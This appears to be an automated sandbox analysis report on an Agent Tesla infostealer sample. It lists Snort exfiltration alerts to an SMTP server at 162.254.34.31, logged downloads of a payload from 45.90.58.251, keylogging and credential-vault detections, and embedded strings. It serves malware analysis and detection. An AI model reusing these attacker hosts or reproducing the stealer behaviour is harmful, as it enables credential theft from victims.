Source: Doc6078451035.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.26.12.205:443 -> 192.168.2.4:63878 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.74.152:443 -> 192.168.2.4:63883 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.74.152:443 -> 192.168.2.4:63885 version: TLS 1.2

Source: Doc6078451035.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: Doc6078451035.exe, 00000000.00000002.1966878784.0000000004081000.00000004.00000800.00020000.00000000.sdmp, Doc6078451035.exe, 00000000.00000002.1972573626.0000000005250000.00000004.08000000.00040000.00000000.sdmp, Doc6078451035.exe, 00000000.00000002.1966878784.0000000003FCA000.00000004.00000800.00020000.00000000.sdmp, Doc6078451035.exe, 00000000.00000002.1965317713.000000000274F000.00000004.00000800.00020000.00000000.sdmp, Hdoyoyt.exe, 00000005.00000002.2447296068.000000000373A000.00000004.00000800.00020000.00000000.sdmp, Hdoyoyt.exe, 00000007.00000002.2518748414.0000000003796000.00000004.00000800.00020000.00000000.sdmp, Hdoyoyt.exe, 00000007.00000002.2524754237.000000000508F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: Doc6078451035.exe, 00000000.00000002.1966878784.0000000004081000.00000004.00000800.00020000.00000000.sdmp, Doc6078451035.exe, 00000000.00000002.1972573626.0000000005250000.00000004.08000000.00040000.00000000.sdmp, Doc6078451035.exe, 00000000.00000002.1966878784.0000000003FCA000.00000004.00000800.00020000.00000000.sdmp, Doc6078451035.exe, 00000000.00000002.1965317713.000000000274F000.00000004.00000800.00020000.00000000.sdmp, Hdoyoyt.exe, 00000005.00000002.2447296068.000000000373A000.00000004.00000800.00020000.00000000.sdmp, Hdoyoyt.exe, 00000007.00000002.2518748414.0000000003796000.00000004.00000800.00020000.00000000.sdmp, Hdoyoyt.exe, 00000007.00000002.2524754237.000000000508F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: Doc6078451035.exe, 00000000.00000002.1965317713.00000000025D1000.00000004.00000800.00020000.00000000.sdmp, Doc6078451035.exe, 00000000.00000002.1966878784.0000000003E67000.00000004.00000800.00020000.00000000.sdmp, Doc6078451035.exe, 00000000.00000002.1966878784.0000000003F47000.00000004.00000800.00020000.00000000.sdmp, Doc6078451035.exe, 00000000.00000002.1976938581.00000000062B0000.00000004.08000000.00040000.00000000.sdmp, Hdoyoyt.exe, 00000005.00000002.2447296068.0000000003557000.00000004.00000800.00020000.00000000.sdmp, Hdoyoyt.exe, 00000007.00000002.2518748414.0000000003591000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: Doc6078451035.exe, 00000000.00000002.1965317713.00000000025D1000.00000004.00000800.00020000.00000000.sdmp, Doc6078451035.exe, 00000000.00000002.1966878784.0000000003E67000.00000004.00000800.00020000.00000000.sdmp, Doc6078451035.exe, 00000000.00000002.1966878784.0000000003F47000.00000004.00000800.00020000.00000000.sdmp, Doc6078451035.exe, 00000000.00000002.1976938581.00000000062B0000.00000004.08000000.00040000.00000000.sdmp, Hdoyoyt.exe, 00000005.00000002.2447296068.0000000003557000.00000004.00000800.00020000.00000000.sdmp, Hdoyoyt.exe, 00000007.00000002.2518748414.0000000003591000.00000004.00000800.00020000.00000000.sdmp

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2855542 ETPRO TROJAN Agent Tesla CnC Exfil Activity 192.168.2.4:63879 -> 162.254.34.31:587
Source: Traffic	Snort IDS: 2855245 ETPRO TROJAN Agent Tesla Exfil via SMTP 192.168.2.4:63879 -> 162.254.34.31:587
Source: Traffic	Snort IDS: 2851779 ETPRO TROJAN Agent Tesla Telegram Exfil 192.168.2.4:63879 -> 162.254.34.31:587
Source: Traffic	Snort IDS: 2840032 ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 192.168.2.4:63879 -> 162.254.34.31:587
Source: Traffic	Snort IDS: 2030171 ET TROJAN AgentTesla Exfil Via SMTP 192.168.2.4:63879 -> 162.254.34.31:587
Source: Traffic	Snort IDS: 2855542 ETPRO TROJAN Agent Tesla CnC Exfil Activity 192.168.2.4:63884 -> 162.254.34.31:587
Source: Traffic	Snort IDS: 2855245 ETPRO TROJAN Agent Tesla Exfil via SMTP 192.168.2.4:63884 -> 162.254.34.31:587
Source: Traffic	Snort IDS: 2851779 ETPRO TROJAN Agent Tesla Telegram Exfil 192.168.2.4:63884 -> 162.254.34.31:587
Source: Traffic	Snort IDS: 2840032 ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 192.168.2.4:63884 -> 162.254.34.31:587
Source: Traffic	Snort IDS: 2030171 ET TROJAN AgentTesla Exfil Via SMTP 192.168.2.4:63884 -> 162.254.34.31:587
Source: Traffic	Snort IDS: 2855542 ETPRO TROJAN Agent Tesla CnC Exfil Activity 192.168.2.4:63886 -> 162.254.34.31:587
Source: Traffic	Snort IDS: 2855245 ETPRO TROJAN Agent Tesla Exfil via SMTP 192.168.2.4:63886 -> 162.254.34.31:587
Source: Traffic	Snort IDS: 2851779 ETPRO TROJAN Agent Tesla Telegram Exfil 192.168.2.4:63886 -> 162.254.34.31:587
Source: Traffic	Snort IDS: 2840032 ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 192.168.2.4:63886 -> 162.254.34.31:587
Source: Traffic	Snort IDS: 2030171 ET TROJAN AgentTesla Exfil Via SMTP 192.168.2.4:63886 -> 162.254.34.31:587

Source: global traffic

TCP traffic: 192.168.2.4:63879 -> 162.254.34.31:587

Source: global traffic	HTTP traffic detected: GET /01a/Pewvr.mp4 HTTP/1.1Host: 45.90.58.251Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /01a/Pewvr.mp4 HTTP/1.1Host: 45.90.58.251Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /01a/Pewvr.mp4 HTTP/1.1Host: 45.90.58.251Connection: Keep-Alive

Source: Joe Sandbox View	IP Address: 104.26.12.205 104.26.12.205
Source: Joe Sandbox View	IP Address: 104.26.12.205 104.26.12.205
Source: Joe Sandbox View	IP Address: 162.254.34.31 162.254.34.31
Source: Joe Sandbox View	IP Address: 172.67.74.152 172.67.74.152
Source: Joe Sandbox View	IP Address: 172.67.74.152 172.67.74.152

Source: Joe Sandbox View

ASN Name: VIVIDHOSTINGUS VIVIDHOSTINGUS

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org

Source: global traffic

TCP traffic: 192.168.2.4:63879 -> 162.254.34.31:587

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.58.251
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.58.251
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.58.251
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.58.251
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.58.251
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.58.251
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.58.251
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.58.251
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.58.251
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.58.251
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.58.251
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.58.251
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.58.251
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.58.251
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.58.251
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.58.251
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.58.251
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.58.251
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.58.251
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.58.251
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.58.251
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.58.251
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.58.251
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.58.251
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.58.251
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.58.251
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.58.251
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.58.251
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.58.251
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.58.251
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.58.251
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.58.251
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.58.251
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.58.251
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.58.251
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.58.251
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.58.251
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.58.251
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.58.251
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.58.251
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.58.251
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.58.251
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.58.251
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.58.251
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.58.251
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.58.251
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.58.251
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.58.251
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.58.251
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.58.251

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /01a/Pewvr.mp4 HTTP/1.1Host: 45.90.58.251Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /01a/Pewvr.mp4 HTTP/1.1Host: 45.90.58.251Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /01a/Pewvr.mp4 HTTP/1.1Host: 45.90.58.251Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: api.ipify.org

Source: Doc6078451035.exe, 00000000.00000002.1965317713.0000000002341000.00000004.00000800.00020000.00000000.sdmp, Hdoyoyt.exe, 00000005.00000002.2447296068.00000000032A1000.00000004.00000800.00020000.00000000.sdmp, Hdoyoyt.exe, 00000007.00000002.2518748414.000000000330B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.90.58.251
Source: Doc6078451035.exe, 00000000.00000002.1965317713.0000000002341000.00000004.00000800.00020000.00000000.sdmp, Hdoyoyt.exe, 00000005.00000002.2447296068.00000000032A1000.00000004.00000800.00020000.00000000.sdmp, Hdoyoyt.exe, 00000007.00000002.2518748414.0000000003301000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.90.58.251/01a/Pewvr.mp4
Source: Doc6078451035.exe, Hdoyoyt.exe.0.dr	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: Doc6078451035.exe, 00000004.00000002.2901300216.0000000006AE2000.00000004.00000020.00020000.00000000.sdmp, Hdoyoyt.exe, 00000008.00000002.2902363307.0000000005E12000.00000004.00000020.00020000.00000000.sdmp, Hdoyoyt.exe, 0000000A.00000002.2901682179.000000000622B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: Doc6078451035.exe, Hdoyoyt.exe.0.dr	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y
Source: Doc6078451035.exe, Hdoyoyt.exe.0.dr	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
Source: Doc6078451035.exe, Hdoyoyt.exe.0.dr	String found in binary or memory: http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t
Source: Doc6078451035.exe, Hdoyoyt.exe.0.dr	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#
Source: Doc6078451035.exe, Hdoyoyt.exe.0.dr	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
Source: Doc6078451035.exe, Hdoyoyt.exe.0.dr	String found in binary or memory: http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#
Source: Doc6078451035.exe, Hdoyoyt.exe.0.dr	String found in binary or memory: http://ocsp.comodoca.com0
Source: Hdoyoyt.exe.0.dr	String found in binary or memory: http://ocsp.sectigo.com0
Source: Doc6078451035.exe, 00000000.00000002.1965317713.0000000002341000.00000004.00000800.00020000.00000000.sdmp, Doc6078451035.exe, 00000004.00000002.2871964064.00000000031C1000.00000004.00000800.00020000.00000000.sdmp, Hdoyoyt.exe, 00000005.00000002.2447296068.00000000032A1000.00000004.00000800.00020000.00000000.sdmp, Hdoyoyt.exe, 00000007.00000002.2518748414.000000000330B000.00000004.00000800.00020000.00000000.sdmp, Hdoyoyt.exe, 00000008.00000002.2872467222.000000000257C000.00000004.00000800.00020000.00000000.sdmp, Hdoyoyt.exe, 0000000A.00000002.2871736226.0000000002B11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Doc6078451035.exe, 00000000.00000002.1965317713.000000000255E000.00000004.00000800.00020000.00000000.sdmp, Doc6078451035.exe, 00000000.00000002.1966878784.0000000004135000.00000004.00000800.00020000.00000000.sdmp, Hdoyoyt.exe, 00000005.00000002.2447296068.000000000332E000.00000004.00000800.00020000.00000000.sdmp, Hdoyoyt.exe, 00000005.00000002.2451731100.0000000005057000.00000004.00000800.00020000.00000000.sdmp, Hdoyoyt.exe, 00000007.00000002.2518748414.0000000003518000.00000004.00000800.00020000.00000000.sdmp, Hdoyoyt.exe, 00000008.00000002.2866025908.000000000017D000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://account.dyn.com/
Source: Doc6078451035.exe, 00000000.00000002.1965317713.000000000255E000.00000004.00000800.00020000.00000000.sdmp, Doc6078451035.exe, 00000000.00000002.1966878784.0000000004135000.00000004.00000800.00020000.00000000.sdmp, Doc6078451035.exe, 00000004.00000002.2871964064.00000000031C1000.00000004.00000800.00020000.00000000.sdmp, Hdoyoyt.exe, 00000005.00000002.2447296068.000000000332E000.00000004.00000800.00020000.00000000.sdmp, Hdoyoyt.exe, 00000005.00000002.2451731100.0000000005057000.00000004.00000800.00020000.00000000.sdmp, Hdoyoyt.exe, 00000007.00000002.2518748414.0000000003518000.00000004.00000800.00020000.00000000.sdmp, Hdoyoyt.exe, 00000008.00000002.2866025908.000000000017D000.00000040.00000400.00020000.00000000.sdmp, Hdoyoyt.exe, 00000008.00000002.2872467222.000000000257C000.00000004.00000800.00020000.00000000.sdmp, Hdoyoyt.exe, 0000000A.00000002.2871736226.0000000002B11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org
Source: Doc6078451035.exe, 00000004.00000002.2871964064.00000000031C1000.00000004.00000800.00020000.00000000.sdmp, Hdoyoyt.exe, 00000008.00000002.2872467222.000000000257C000.00000004.00000800.00020000.00000000.sdmp, Hdoyoyt.exe, 0000000A.00000002.2871736226.0000000002B11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/
Source: Doc6078451035.exe, 00000004.00000002.2871964064.00000000031C1000.00000004.00000800.00020000.00000000.sdmp, Hdoyoyt.exe, 00000008.00000002.2872467222.000000000257C000.00000004.00000800.00020000.00000000.sdmp, Hdoyoyt.exe, 0000000A.00000002.2871736226.0000000002B11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/t
Source: Doc6078451035.exe, 00000000.00000002.1965317713.00000000025D1000.00000004.00000800.00020000.00000000.sdmp, Doc6078451035.exe, 00000000.00000002.1966878784.0000000003E67000.00000004.00000800.00020000.00000000.sdmp, Doc6078451035.exe, 00000000.00000002.1966878784.0000000003F47000.00000004.00000800.00020000.00000000.sdmp, Doc6078451035.exe, 00000000.00000002.1976938581.00000000062B0000.00000004.08000000.00040000.00000000.sdmp, Hdoyoyt.exe, 00000005.00000002.2447296068.0000000003557000.00000004.00000800.00020000.00000000.sdmp, Hdoyoyt.exe, 00000007.00000002.2518748414.0000000003591000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-net
Source: Doc6078451035.exe, 00000000.00000002.1965317713.00000000025D1000.00000004.00000800.00020000.00000000.sdmp, Doc6078451035.exe, 00000000.00000002.1966878784.0000000003E67000.00000004.00000800.00020000.00000000.sdmp, Doc6078451035.exe, 00000000.00000002.1966878784.0000000003F47000.00000004.00000800.00020000.00000000.sdmp, Doc6078451035.exe, 00000000.00000002.1976938581.00000000062B0000.00000004.08000000.00040000.00000000.sdmp, Hdoyoyt.exe, 00000005.00000002.2447296068.0000000003557000.00000004.00000800.00020000.00000000.sdmp, Hdoyoyt.exe, 00000007.00000002.2518748414.0000000003591000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-netJ
Source: Doc6078451035.exe, 00000000.00000002.1965317713.00000000025D1000.00000004.00000800.00020000.00000000.sdmp, Doc6078451035.exe, 00000000.00000002.1966878784.0000000003E67000.00000004.00000800.00020000.00000000.sdmp, Doc6078451035.exe, 00000000.00000002.1966878784.0000000003F47000.00000004.00000800.00020000.00000000.sdmp, Doc6078451035.exe, 00000000.00000002.1976938581.00000000062B0000.00000004.08000000.00040000.00000000.sdmp, Hdoyoyt.exe, 00000005.00000002.2447296068.0000000003557000.00000004.00000800.00020000.00000000.sdmp, Hdoyoyt.exe, 00000007.00000002.2518748414.0000000003591000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-neti
Source: Doc6078451035.exe, Hdoyoyt.exe.0.dr	String found in binary or memory: https://sectigo.com/CPS0
Source: Doc6078451035.exe, 00000000.00000002.1965317713.00000000025D1000.00000004.00000800.00020000.00000000.sdmp, Doc6078451035.exe, 00000000.00000002.1966878784.0000000003E67000.00000004.00000800.00020000.00000000.sdmp, Doc6078451035.exe, 00000000.00000002.1966878784.0000000003F47000.00000004.00000800.00020000.00000000.sdmp, Doc6078451035.exe, 00000000.00000002.1976938581.00000000062B0000.00000004.08000000.00040000.00000000.sdmp, Hdoyoyt.exe, 00000005.00000002.2447296068.0000000003557000.00000004.00000800.00020000.00000000.sdmp, Hdoyoyt.exe, 00000007.00000002.2518748414.0000000003591000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/11564914/23354;
Source: Doc6078451035.exe, 00000000.00000002.1965317713.00000000025D1000.00000004.00000800.00020000.00000000.sdmp, Doc6078451035.exe, 00000000.00000002.1965317713.000000000274F000.00000004.00000800.00020000.00000000.sdmp, Doc6078451035.exe, 00000000.00000002.1966878784.0000000003E67000.00000004.00000800.00020000.00000000.sdmp, Doc6078451035.exe, 00000000.00000002.1966878784.0000000003F47000.00000004.00000800.00020000.00000000.sdmp, Doc6078451035.exe, 00000000.00000002.1976938581.00000000062B0000.00000004.08000000.00040000.00000000.sdmp, Doc6078451035.exe, 00000000.00000002.1965317713.00000000023CE000.00000004.00000800.00020000.00000000.sdmp, Hdoyoyt.exe, 00000005.00000002.2447296068.000000000332E000.00000004.00000800.00020000.00000000.sdmp, Hdoyoyt.exe, 00000005.00000002.2447296068.0000000003557000.00000004.00000800.00020000.00000000.sdmp, Hdoyoyt.exe, 00000005.00000002.2447296068.00000000036AF000.00000004.00000800.00020000.00000000.sdmp, Hdoyoyt.exe, 00000007.00000002.2518748414.000000000370B000.00000004.00000800.00020000.00000000.sdmp, Hdoyoyt.exe, 00000007.00000002.2518748414.0000000003591000.00000004.00000800.00020000.00000000.sdmp, Hdoyoyt.exe, 00000007.00000002.2518748414.000000000346F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/14436606/23354
Source: Doc6078451035.exe, 00000000.00000002.1966878784.0000000003E67000.00000004.00000800.00020000.00000000.sdmp, Doc6078451035.exe, 00000000.00000002.1966878784.0000000003F47000.00000004.00000800.00020000.00000000.sdmp, Doc6078451035.exe, 00000000.00000002.1976938581.00000000062B0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/2152978/23354

Source: unknown	Network traffic detected: HTTP traffic on port 63885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63878
Source: unknown	Network traffic detected: HTTP traffic on port 63878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63885

Source: unknown	HTTPS traffic detected: 104.26.12.205:443 -> 192.168.2.4:63878 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.74.152:443 -> 192.168.2.4:63883 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.74.152:443 -> 192.168.2.4:63885 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to log keystrokes (.Net Source)

Source: 0.2.Doc6078451035.exe.414ad28.16.raw.unpack, SKTzxzsJw.cs

.Net Code: nUAqbab

System Summary

Malicious sample detected (through community Yara rule)

Source: 0.2.Doc6078451035.exe.414ad28.16.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 5.2.Hdoyoyt.exe.506cc28.15.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.Doc6078451035.exe.414ad28.16.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 5.2.Hdoyoyt.exe.506cc28.15.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen

Source: C:\Users\user\Desktop\Doc6078451035.exe	Code function: 0_2_006F63D0	0_2_006F63D0
Source: C:\Users\user\Desktop\Doc6078451035.exe	Code function: 0_2_006F5FB8	0_2_006F5FB8
Source: C:\Users\user\Desktop\Doc6078451035.exe	Code function: 0_2_006F3283	0_2_006F3283
Source: C:\Users\user\Desktop\Doc6078451035.exe	Code function: 0_2_052E34E2	0_2_052E34E2
Source: C:\Users\user\Desktop\Doc6078451035.exe	Code function: 0_2_052E34F0	0_2_052E34F0
Source: C:\Users\user\Desktop\Doc6078451035.exe	Code function: 0_2_06BFD1B8	0_2_06BFD1B8
Source: C:\Users\user\Desktop\Doc6078451035.exe	Code function: 0_2_06BFC6B0	0_2_06BFC6B0
Source: C:\Users\user\Desktop\Doc6078451035.exe	Code function: 0_2_06BFCA38	0_2_06BFCA38
Source: C:\Users\user\Desktop\Doc6078451035.exe	Code function: 0_2_06BE0033	0_2_06BE0033
Source: C:\Users\user\Desktop\Doc6078451035.exe	Code function: 0_2_06BE0040	0_2_06BE0040
Source: C:\Users\user\Desktop\Doc6078451035.exe	Code function: 4_2_0304E270	4_2_0304E270
Source: C:\Users\user\Desktop\Doc6078451035.exe	Code function: 4_2_0304AA18	4_2_0304AA18
Source: C:\Users\user\Desktop\Doc6078451035.exe	Code function: 4_2_03044A98	4_2_03044A98
Source: C:\Users\user\Desktop\Doc6078451035.exe	Code function: 4_2_03043E80	4_2_03043E80
Source: C:\Users\user\Desktop\Doc6078451035.exe	Code function: 4_2_030441C8	4_2_030441C8
Source: C:\Users\user\Desktop\Doc6078451035.exe	Code function: 4_2_06D6A178	4_2_06D6A178
Source: C:\Users\user\Desktop\Doc6078451035.exe	Code function: 4_2_06D7B2B0	4_2_06D7B2B0
Source: C:\Users\user\Desktop\Doc6078451035.exe	Code function: 4_2_06D73100	4_2_06D73100
Source: C:\Users\user\Desktop\Doc6078451035.exe	Code function: 4_2_06D77710	4_2_06D77710
Source: C:\Users\user\Desktop\Doc6078451035.exe	Code function: 4_2_06D7E418	4_2_06D7E418
Source: C:\Users\user\Desktop\Doc6078451035.exe	Code function: 4_2_06D70040	4_2_06D70040
Source: C:\Users\user\Desktop\Doc6078451035.exe	Code function: 4_2_06D70006	4_2_06D70006
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Code function: 5_2_031E63D0	5_2_031E63D0
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Code function: 5_2_031E5FB8	5_2_031E5FB8
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Code function: 5_2_031E63C2	5_2_031E63C2
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Code function: 5_2_031E5FA9	5_2_031E5FA9
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Code function: 5_2_060B1FA0	5_2_060B1FA0
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Code function: 5_2_060B1FB0	5_2_060B1FB0
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Code function: 5_2_060B19AF	5_2_060B19AF
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Code function: 5_2_07A0D1B8	5_2_07A0D1B8
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Code function: 5_2_07A0C6B0	5_2_07A0C6B0
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Code function: 5_2_07A0CA38	5_2_07A0CA38
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Code function: 5_2_079F0006	5_2_079F0006
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Code function: 5_2_079F0040	5_2_079F0040
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Code function: 7_2_016963D0	7_2_016963D0
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Code function: 7_2_01695FB8	7_2_01695FB8
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Code function: 7_2_016963C3	7_2_016963C3
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Code function: 7_2_01693283	7_2_01693283
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Code function: 7_2_01695FA9	7_2_01695FA9
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Code function: 7_2_061B1FB0	7_2_061B1FB0
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Code function: 7_2_061B1FA0	7_2_061B1FA0
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Code function: 7_2_07ABD1B8	7_2_07ABD1B8
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Code function: 7_2_07ABC6B0	7_2_07ABC6B0
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Code function: 7_2_07ABCA38	7_2_07ABCA38
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Code function: 7_2_07AA0007	7_2_07AA0007
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Code function: 7_2_07AA0040	7_2_07AA0040
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Code function: 8_2_006EE270	8_2_006EE270
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Code function: 8_2_006EA948	8_2_006EA948
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Code function: 8_2_006E4A98	8_2_006E4A98
